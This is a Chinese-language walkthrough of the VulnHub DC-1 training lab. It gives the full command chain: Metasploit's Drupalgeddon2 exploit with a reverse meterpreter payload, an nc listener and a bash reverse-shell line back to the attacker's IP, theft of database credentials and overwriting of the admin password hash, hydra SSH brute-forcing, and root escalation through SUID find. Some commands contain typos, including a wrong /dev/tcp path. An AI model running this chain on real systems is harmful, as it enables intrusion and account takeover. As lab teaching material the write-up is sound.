DC下载地址:
https://www.vulnhub.com/timeline/
下载后在VMware打开并设置为NAT即可。
渗透目的为获取5个flag。
渗透过程:
首先,找出靶机的ip地址,使用nmap扫描同网段
nmap -sP -sV 192.168.220.0/24
-sP:Ping 扫描
-sV:版本信息

确认192.168.220.153为目标ip,使用nmap进行详细扫描
nmap -A -sV -p 1-1000 192.168.220.153
-A:全面扫描

1,可以看到22端口的ssh,可联想hrdra爆破。
2,百度搜索Drugpal 7漏洞,可以找到Drupal Drupalgeddon 2,远程代码执行漏洞(CVE-2018-7600)。
使用matesploit,使用search Drupal 7命令查找模块,使用渗透模块模块:
#msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 > info
使用info命令,查看需要填写的信息和漏洞利用信息:

msf6 > set payload php/meterpreter/reverse_tcp
msf6 > show optipns
msf6 > set RHOSTS 192.168.220.153
msf6 > set LHOST 192.168.220.149
msf6 > run
获取到会话:

meterpreter > ls
meterpreter > cat flag1.txt


flag1中线索指向配置文件,配置文件并非web.config
Drupal 配置文件路径为 /sites/default/settings.php
使用cat命令查看setting.php文件:

得到flag2的信息和数据库的用户名和密码。
flag2提示可以爆破攻击和目录攻击。
得到数据库配置,尝试访问数据库:
使用shell命令,连接shell:
netstat -anptl //查看端口开放
-l 仅列出有在 Listen (监听) 的服务状态
-a (all)列出所有端口
-t (tcp)仅显示tcp相关选项
-p 显示建立相关链接的程序名
-n 拒绝显示别名,能显示数字的全部转化成数字。

3306,开启,但只接受127.0.0.1访问
我们使用命令尝试连接数据库:
mysql -udbuser -pR0ck3t
无法连接,我们需要建立长久连接,尝试使用反弹shell连接
本机先开启端口监听,使用shell连接本机端口:
#本机
nc -lvvp 1234
#shell
bash -i >& /etc/tcp/192.168.220.149/1234 0>&1
发现无法连接:

利用python反弹shell:
python -c 'import pty;pty.spawn("/bin/bash")'
python -c 即python conmmond 运行python代码,引入pty,调用bash
发现反弹成功:

此时使用上面的 bash -i >& /etc/tcp/192.168.220.149/1234 0>&1 也可以反弹成功
使用mysql -u -p进入数据库查看信息:
show databases;
use drupaldb;
show tables;
select * from users;
显示出user表中信息:

发现admin,但密码着实看不懂。
只能使用已知的密码代替原密码,具体看这篇 忘记Drupal的管理员密码的解决办法 | Drupal China
在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:
- php scripts/password-hash.sh admin
- 输出:
- password: admin hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA
- 然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

使用mysql命令替换掉原本users表中admin用户的pass字段:
updata users set pass="$S$DdNWkiKVh1peF/XYvcLiUBpu6Up7pZCHGO4MIr2hKUSWGVRF7y55" where uid=1;
将密码换成admin

如输错5次密码,ip会被限制访问,可在数据库使用truncate flood;命令。
修改成功,即可访问80端口

在上边的dashboard中即可看到flag3


在flag3中,提示我们查看passwd,和使用FIND的exec执行,暗示SUID提权
首先查看一下/etc/passwd
cat /etc/passwd

发现flag4,可以登录,使用hydra进行ssh爆破:
hydra -l flag4 -P /usr/share/john/password.lst 192.168.220.153 ssh -vV -f
-l:指定一个用户名
-P:指定一个密码字典
-vV:显示爆破细节
-f:爆破到正确密码就停止爆破

得出flag4密码为orange,使用ssh登录flag4
ssh flag4@192.168.220.153
orange

flag4提示进入root文件下,但权限不够需要进行提权,结合flag3,即SUID提权
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行;那么运行这些拥有SUID权限,去运行bash,那么在运行过程中,bash也拥有文件的SUID权限,即实现了提权。
find / -perm -u=s -type f 2>/dev/null
-perm : 表示搜索随后的权限
-u=s : 权限为suid
-type f : 文件类型为普通文件
2 > /dev/null : 将标准错误丢弃

我们新建一个文件,用find进行SUID提权
touch 2
find 2 -exec "/bin/sh" \;
结尾需要;来表示exec参数的结束,\为转义

直接进入root文件夹查看最后的flag。

鸽鸽tql